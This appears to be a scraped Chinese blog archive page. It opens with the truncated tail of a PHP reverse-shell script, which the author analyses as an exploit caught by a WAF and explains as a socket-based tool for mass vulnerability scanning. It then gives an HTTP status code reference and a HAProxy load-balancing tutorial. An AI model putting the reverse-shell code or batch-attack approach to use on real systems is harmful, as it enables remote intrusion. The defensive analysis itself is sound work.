fclose($pipes[2]);

proc_close($process);

function printit ($string) {

.if (!$daemon) {

..print “$string

“;

.}

}

exit(1);

?>

很明显,这是针对一个特定漏洞而构建的exp,其关键有两个:

一个就是我们的防护WAF抓到的攻击URL,也就是上面POST的那个URL;

另一个是POST的数据,这里没有贴出来,详细内容可参考[2],其POST的数据就是一个PHP的是反弹shell的payload。

总结

利用socket实现HTTP请求,可以在不关心域名的情况下,基于特定漏洞,实现对批量IP地址的漏洞扫描、探测或攻击。

 

参考

1、http://blog.163.com/zongyuan1987@126/blog/static/13162315620108104825970/

2、http://www.2cto.com/Article/201311/256690.html

3、http://blog.csdn.net/mqwind/article/details/4814842

分类: Web安全防护 标签:

301、404、200、304等HTTP状态

2015年9月10日 评论已被关闭

301、404、200、304等HTTP状态

http://blog.csdn.net/zll01/article/details/5018413

在网站建设的实际应用中,容易出现很多小小的失误,就像mysql当初优化不到位,影响整体网站的浏览效果一样,其实,网站的常规http状态码的表现也是一样,Google无法验证网站几种解决办法,提及到由于404状态页面设置不正常,导致了google管理员工具无法验证的情况,当然,影响的不仅仅是这一方面,影响的更是网站的整体浏览效果。因此,比较清楚详细的了解http状态码的具体含义,对于一个网站站长来说,这是很有必要俱备的网站制作基础条件。

如果某项请求发送到您的服务器要求显示您网站上的某个网页(例如,用户通过浏览器访问您的网页或 Googlebot 抓取网页时),服务器将会返回 HTTP 状态码响应请求。

此状态码提供关于请求状态的信息,告诉 Googlebot 关于您的网站和请求的网页的信息。

一些常见的状态码为:

  • 200 – 服务器成功返回网页
  • 404 – 请求的网页不存在
  • 503 – 服务器超时

下面提供 HTTP 状态码的完整列表。点击链接可了解详情。您也可以访问 HTTP 状态码上的 W3C 页获取更多信息

1xx(临时响应)
表示临时响应并需要请求者继续执行操作的状态码。

100(继续) 请求者应当继续提出请求。服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。
101(切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。

2xx (成功)

表示成功处理了请求的状态码。

200(成功) 服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。如果是对您的 robots.txt 文件显示此状态码,则表示 Googlebot 已成功检索到该文件。
201(已创建) 请求成功并且服务器创建了新的资源。
202(已接受) 服务器已接受请求,但尚未处理。
203(非授权信息) 服务器已成功处理了请求,但返回的信息可能来自另一来源。
204(无内容) 服务器成功处理了请求,但没有返回任何内容。
205(重置内容) 服务器成功处理了请求,但没有返回任何内容。与 204 响应不同,此响应要求请求者重置文档视图(例如,清除表单内容以输入新内容)。
206(部分内容) 服务器成功处理了部分 GET 请求。

3xx (重定向)
要完成请求,需要进一步操作。通常,这些状态码用来重定向。Google 建议您在每次请求中使用重定向不要超过 5 次。您可以使用网站管理员工具查看一下 Googlebot 在抓取重定向网页时是否遇到问题。诊断下的网络抓取页列出了由于重定向错误导致 Googlebot 无法抓取的网址。

300(多种选择) 针对请求,服务器可执行多种操作。服务器可根据请求者 (user agent) 选择一项操作,或提供操作列表供请求者选择。
301(永久移动) 请求的网页已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。您应使用此代码告诉 Googlebot 某个网页或网站已永久移动到新位置。
302(临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来响应以后的请求。此代码与响应 GET 和 HEAD 请求的 301 代码类似,会自动将请求者转到不同的位置,但您不应使用此代码来告诉 Googlebot 某个网页或网站已经移动,因为 Googlebot 会继续抓取原有位置并编制索引。
303(查看其他位置) 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码。对于除 HEAD 之外的所有请求,服务器会自动转到其他位置。
304(未修改) 自从上次请求后,请求的网页未修改过。服务器返回此响应时,不会返回网页内容。

如果网页自请求者上次请求后再也没有更改过,您应将服务器配置为返回此响应(称为 If-Modified-Since HTTP 标头)。服务器可以告诉 Googlebot 自从上次抓取后网页没有变更,进而节省带宽和开销。

.

305(使用代理) 请求者只能使用代理访问请求的网页。如果服务器返回此响应,还表示请求者应使用代理。
307(临时重定向) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来响应以后的请求。此代码与响应 GET 和 HEAD 请求的 <a href=answer.py?answer=>301</a> 代码类似,会自动将请求者转到不同的位置,但您不应使用此代码来告诉 Googlebot 某个页面或网站已经移动,因为 Googlebot 会继续抓取原有位置并编制索引。

4xx(请求错误)
这些状态码表示请求可能出错,妨碍了服务器的处理。

400(错误请求) 服务器不理解请求的语法。
401(未授权) 请求要求身份验证。对于登录后请求的网页,服务器可能返回此响应。
403(禁止) 服务器拒绝请求。如果您在 Googlebot 尝试抓取您网站上的有效网页时看到此状态码(您可以在 Google 网站管理员工具诊断下的网络抓取页面上看到此信息),可能是您的服务器或主机拒绝了 Googlebot 访问。
404(未找到) 服务器找不到请求的网页。例如,对于服务器上不存在的网页经常会返回此代码。

如果您的网站上没有 robots.txt 文件,而您在 Google 网站管理员工具“诊断”标签的 robots.txt 页上看到此状态码,则这是正确的状态码。但是,如果您有 robots.txt 文件而又看到此状态码,则说明您的 robots.txt 文件可能命名错误或位于错误的位置(该文件应当位于顶级域,名为 robots.txt)。

如果对于 Googlebot 抓取的网址看到此状态码(在”诊断”标签的 HTTP 错误页面上),则表示 Googlebot 跟随的可能是另一个页面的无效链接(是旧链接或输入有误的链接)。

405(方法禁用) 禁用请求中指定的方法。
406(不接受) 无法使用请求的内容特性响应请求的网页。
407(需要代理授权) 此状态码与 <a href=answer.py?answer=35128>401(未授权)</a>类似,但指定请求者应当授权使用代理。如果服务器返回此响应,还表示请求者应当使用代理。
408(请求超时) 服务器等候请求时发生超时。
409(冲突) 服务器在完成请求时发生冲突。服务器必须在响应中包含有关冲突的信息。服务器在响应与前一个请求相冲突的 PUT 请求时可能会返回此代码,以及两个请求的差异列表。
410(已删除) 如果请求的资源已永久删除,服务器就会返回此响应。该代码与 404(未找到)代码类似,但在资源以前存在而现在不存在的情况下,有时会用来替代 404 代码。如果资源已永久移动,您应使用 301 指定资源的新位置。
411(需要有效长度) 服务器不接受不含有效内容长度标头字段的请求。
412(未满足前提条件) 服务器未满足请求者在请求中设置的其中一个前提条件。
413(请求实体过大) 服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
414(请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
415(不支持的媒体类型) 请求的格式不受请求页面的支持。
416(请求范围不符合要求) 如果页面无法提供请求的范围,则服务器会返回此状态码。
417(未满足期望值) 服务器未满足”期望”请求标头字段的要求。

5xx(服务器错误)
这些状态码表示服务器在处理请求时发生内部错误。这些错误可能是服务器本身的错误,而不是请求出错。

500(服务器内部错误) 服务器遇到错误,无法完成请求。
501(尚未实施) 服务器不具备完成请求的功能。例如,服务器无法识别请求方法时可能会返回此代码。
502(错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
503(服务不可用) 服务器目前无法使用(由于超载或停机维护)。通常,这只是暂时状态。
504(网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
505(HTTP 版本不受支持) 服务器不支持请求中所用的 HTTP 协议版本。

上书大部分实际内容源自googel管理员博客近日文章所引用的有关301说明的有些链接,感觉非常有用,因此收藏注释,以备以后警戒注意学习。合理利用这些状态码,避免错误利用,必将会为你的网站带来更佳的浏览者体会,得到更加亲和的搜索引擎收录,得到更准确的搜索引擎切入,从而,为你的网站发展,奠定坚实的发展基础。

 

 

******************************************************

转自http://www.gosoa.com.cn/Article/2009-11/2009-11-01-154.html

******************************************************

如何在Linux上使用HAProxy配置HTTP负载均衡系统?

2014年10月31日 评论已被关闭

如何在Linux上使用HAProxy配置HTTP负载均衡系统?

如今对基于互联网的应用和服务的要求越来越大,这给广大的IT管理员施加了越来越大的压力。面对突如其来的流量猛增、自生的流量增加或者是内部挑战(比如硬件故障和紧急维护),不管怎样,你的互联网应用都必须保持随时可用。连现代化的开发运营和持续交付做法也会危及互联网服务的可靠性和一贯表现。

无法预测或缺乏一贯的表现是你所无法承受的。那么,我们如何能消除这些缺点呢?在大多数情况下,一套合适的负载均衡解决方案有望满足这个要求。今天我将为各位介绍如何使用HAProxy搭建一套HTTP负载均衡系统。

HTTP负载均衡简介

HTTP负载均衡是一种网络解决方案,负责在托管相同应用内容的几台服务器之间分配进入的HTTP或HTTPS流量。由于在多台可用服务器之间均衡了应用请求,负载均衡系统就能防止任何应用服务器变成单一故障点,因而提高了整体的应用可用性和响应能力。它还让你可以随着不断变化的工作负载,轻松地缩小/扩大部署的应用系统的规模,只需添加或删除额外的应用服务器。

哪里使用负载均衡、何时使用?

由于负载均衡系统改进了服务器的利用率,最大限度地提高了可用性,只要你的服务器开始面临繁重负载,或者正为一个较庞大的项目规划架构,就应该使用它。事先规划好负载均衡系统的用途是个好习惯。那样,未来你需要扩展环境规模时,它会证明其用途。

HAProxy是什么东东?

HAProxy是一种流行的开源负载均衡和代理系统,面向GNU/Linux平台上的TCP/HTTP服务器。HAProxy采用了单一线程的事件驱动型架构而设计,它能够轻松地处理10G网卡线路速度,现广泛应用于许多生产环境中。其功能特性包括:自动检查健康状况、可定制的负载均衡算法、支持HTTPS/SSL以及会话速率限制等。

我们在本教程中要达到什么样的目的?

在本教程中,我们将逐步介绍为HTTP网站服务器配置基于HAProxy的负载均衡系统这个过程。

前提条件

你至少需要一台(最好是两台)网站服务器来证实所搭建负载均衡系统的功能。我们假设,后端HTTP网站服务器已经搭建并运行起来。

将HAProxy安装到Linux上

就大多数发行版而言,我们可以使用你所用发行版的软件包管理器来安装HAProxy。

将HAProxy安装到Debian上

在Debian中,我们需要为Wheezy添加向后移植功能。为此,请在/etc/apt/sources.list.d中创建一个名为“backports.list”的新文件,其内容如下:

  1. deb http://cdn.debian.net/debian wheezy­backports main

更新你的软件库数据,并安装HAProxy。

  1. apt­ get update
  2. # apt ­get install haproxy

将HAProxy安装到Ubuntu上

  1. # apt ­get install haproxy

将HAProxy安装到CentOS\RHEL\Neokylin上

  1. # yum install haproxy

配置HAProxy

在本教程中,我们假设有两台HTTP网站服务器已搭建并运行起来,其IP地址分别为192.168.100.2和192.168.100.3。我们还假设,负载均衡系统将在IP地址为192.168.100.4的那台服务器处进行配置。

为了让HAProxy发挥功用,你需要更改/etc/haproxy/haproxy.cfg中的几个项目。这些变更在本章节中予以描述。万一某个配置对不同的GNU/Linux发行版而言有所不同,会在相应段落中加以注明。

1. 配置日志功能

你首先要做的工作之一就是,为你的HAProxy建立合适的日志功能,这对将来进行调试大有用处。日志配置内容位于/etc/haproxy/haproxy.cfg的global部分。下面这些是针对特定发行版的指令,用于为HAProxy配置日志。

CentOS\RHEL\Neokylin:

要想在CentOS/RHEL上启用日志功能,把:

log 127.0.0.1 local2

换成:

log 127.0.0.1 local0

下一步,在/var/log中为HAProxy创建单独的日志文件。为此,我们需要改动当前的rsyslog配置。为了让配置简单而清楚,我们将在/etc/rsyslog.d/中创建一个名为haproxy.conf的新文件,其内容如下。

  1. $ModLoad imudp
  2. $UDPServerRun 514
  3. $template Haproxy,”%msg%\n”
  4. local0.=info ­/var/log/haproxy.log;Haproxy
  5. local0.notice ­/var/log/haproxy­status.log;Haproxy
  6. local0.* ~

该配置将把基于$template的所有HAProxy消息隔离到/var/log中的日志文件。现在,重启rsyslog,让变更内容生效。

  1. # service rsyslog restart

Debian或Ubuntu:

要想在Debian或Ubuntu上为HAProxy启用日志功能,把:

  1. log /dev/log local0
  2. log /dev/log local1 notice

换成:

  1. log 127.0.0.1 local0

下一步,为HAProxy配置单独的日志文件,编辑/etc/rsyslog.d/中一个名为haproxy.conf的文件(或者Debian中的49-haproxy.conf),其内容如下。

  1. $ModLoad imudp
  2. $UDPServerRun 514
  3. $template Haproxy,”%msg%\n”
  4. local0.=info ­/var/log/haproxy.log;Haproxy
  5. local0.notice ­/var/log/haproxy­status.log;Haproxy
  6. local0.* ~

该配置将把基于$template的所有HAProxy消息隔离到/var/log中的日志文件。现在,重启rsyslog,让变更内容生效。

  1. # service rsyslog restart

2. 设置默认值

下一步是为HAProxy设置默认变量。找到/etc/haproxy/haproxy.cfg中的defaults部分,把它换成下列配置。

  1. log global
  2. mode http
  3. option httplog
  4. option dontlognull
  5. retries 3
  6. option redispatch
  7. maxconn 20000
  8. contimeout 5000
  9. clitimeout 50000
  10. srvtimeout 50000

上述配置推荐HTTP负载均衡器使用,但可能不是最适合你环境的解决方案。如果那样,请参阅HAProxy参考手册页,进行适当的改动和调整。

3. 网站服务器集群的配置

网站服务器集群(Webfarm)的配置定义了可用的HTTP服务器集群。我们所建负载均衡系统的大部分设置都将放在这里。现在,我们将创建一些基本的配置,我们的节点将在这里加以定义。把从frontend部分到文件末尾的所有配置换成下列代码:

  1. listen webfarm *:80
  2. mode http
  3. stats enable
  4. stats uri /haproxy?stats
  5. stats realm Haproxy\ Statistics
  6. stats auth haproxy:stats
  7. balance roundrobin
  8. cookie LBN insert indirect nocache
  9. option httpclose
  10. option forwardfor
  11. server web01 192.168.100.2:80 cookie node1 check
  12. server web02 192.168.100.3:80 cookie node2 check “listen webfarm *:80”

这一行定义了我们的负载均衡系统将侦听哪些接口。出于本教程的需要,我将该值设为“*”,这让负载均衡系统侦听我们的所有接口。在实际场景下,这可能不合意,应该换成可从互联网来访问的某个接口。

  1. stats enable
  2. stats uri /haproxy?stats
  3. stats realm Haproxy\ Statistics
  4. stats auth haproxy:stats

上述设置声明,可以在http://<load-balancer-IP>/haproxy?stats处访问负载均衡系统的统计数字。这种访问由简单的HTTP验证以及登录名“haproxy”和密码“stats”来确保安全。这些设置应该换成你自己的登录信息。如果你不想让这些统计数字被人看到,那么可以完全禁用它们。

下面是HAProxy统计数字的一个例子。

::__IHACKLOG_REMOTE_IMAGE_AUTODOWN_BLOCK__::1

“balance roundrobin”这一行定义了我们将使用哪种类型的负载均衡。在本教程中,我们将使用简单的轮叫调度算法,这对HTTP负载均衡来说完全绰绰有余。HAProxy还提供了其他类型的负载均衡:

•leastconn:连接数最少的服务器优先接收连接。

•source:对源IP地址进行哈希处理,用运行中服务器的总权重除以哈希值,即可决定哪台服务器将接收请求。

•uri:URI的左边部分(问号前面)经哈希处理,用运行中服务器的总权重除以哈希值。所得结果决定哪台服务器将接收请求。

•url_param:变量中指定的URL参数将在每个HTTP GET请求的查询串中进行查询。你基本上可以将使用蓄意制作的URL(crafted URL)的请求锁定于特定的负载均衡节点。

•hdr(name):HTTP头<name> 将在每个HTTP请求中进行查询,被定向到特定节点。

“cookie LBN insert indirect nocache”这一行让我们的负载均衡系统存储持久性cookie,这让我们得以准确查明集群中的哪个节点用于某一个会话。这些节点cookie将与指定的名称一并存储起来。在我们这个例子中,我使用了“LBN”,但你可以指定自己喜欢的任意名称。节点将为该cookie把字符串作为一个值而存储起来。

  1. server web01 192.168.100.2:80 cookie node1 check
  2. server web02 192.168.100.3:80 cookie node2 check

上述部分对网站服务器节点集群进行了定义。每台服务器都用内部名称(比如web01和web02)、IP地址和独特的cookie串来表示。cookie串可以定义为你需要的任何名称。我使用了简单的node1、node2 … node(n)。

启动HAProxy

你完成了配置工作后,可以启动HAProxy,验证一切按预期运行。

在Centos/RHEL/Neokylin上启动HAProxy

使用下列指令,让HAProxy能够在系统启动后启动,并打开它:

  1. # chkconfig haproxy on
  2. # service haproxy start

当然,别忘了启用防火墙中的端口80,如下所示。

CentOS/RHEL 7上的防火墙:

  1. # firewall­cmd ­­permanent ­­zone=public ­­add­port=80/tcp
  2. # firewall­cmd ­­reload

CentOS/RHEL/Neokylin 6上的防火墙:把

下面这一行添加到/etc/sysconfig/iptables中的这部分“:OUTPUT ACCEPT”:

  1. A INPUT ­m state ­­state NEW ­m tcp ­p tcp ­­dport 80 ­j ACCEPT

然后重启iptables:

  1. # service iptables restart

在Debian上启动HAProxy

使用下列指令启动HAProxy:

  1. # service haproxy start

别忘了启用防火墙中的端口80,为此把下面这一行添加到/etc/iptables.up.rules:

  1. A INPUT ­p tcp ­­dport 80 ­j ACCEPT

在Ubuntu上启动HAProxy

让HAProxy能够在系统启动后启动,只要在/etc/default/haproxy中将“ENABLED”选项设为“1”:

  1. ENABLED=1

启动HAProxy:

# service haproxy start

然后启用防火墙中的端口80:

# ufw allow 80

测试HAProxy

为了检查HAproxy是否在正常工作,我们可以执行下列步骤:

首先,用下列内容准备好test.php文件:

  1. <?php
  2. header(‘Content-Type: text/plain’);
  3. echo “Server IP: “.$_SERVER[‘SERVER_ADDR’];
  4. echo “\nX-Forwarded-for: “.$_SERVER[‘HTTP_X_FORWARDED_FOR’];
  5. ?>

该PHP文件将告诉我们哪台服务器(即负载均衡系统)转发请求,哪台后端网站服务器实际处理请求。

把该PHP文件放到这两台后端网站服务器的根目录下。现在,使用curl命令,从负载均衡系统(192.168.100.4)提取这个PHP文件。

$ curl http://192.168.100.4/test.php

我们多次运行这个命令时,应该会看到下面两个输出交替出现(由于轮叫调度算法)。

Server IP: 192.168.100.2

X-Forwarded-for: 192.168.100.4

Server IP: 192.168.100.3

X-Forwarded-for: 192.168.100.4

如果我们停止这两台后端网站服务器中的其中一台,curl命令应该仍会执行,将请求定向到另一台可用的网站服务器。

结束语

至此,你应该有了一套完全实用的负载均衡系统,能够在轮叫循环模式下为你的网站节点提供请求。与往常一样,你可以随意更改配置,让它更适合自己的基础设施。希望本教程帮助你让自己的网站项目具有更强的抗压力和更高的可用性。

正如大家已经注意到的那样,本教程所含的设置适用于仅仅一套负载均衡系统。这意味着,我们把一个单一故障点换成了另一个单一故障点。在实际场景下,你应该部署至少两套或三套负载均衡系统,以防范可能出现的任何故障,但这不在本教程的讨论范围之内。

来源:51CTO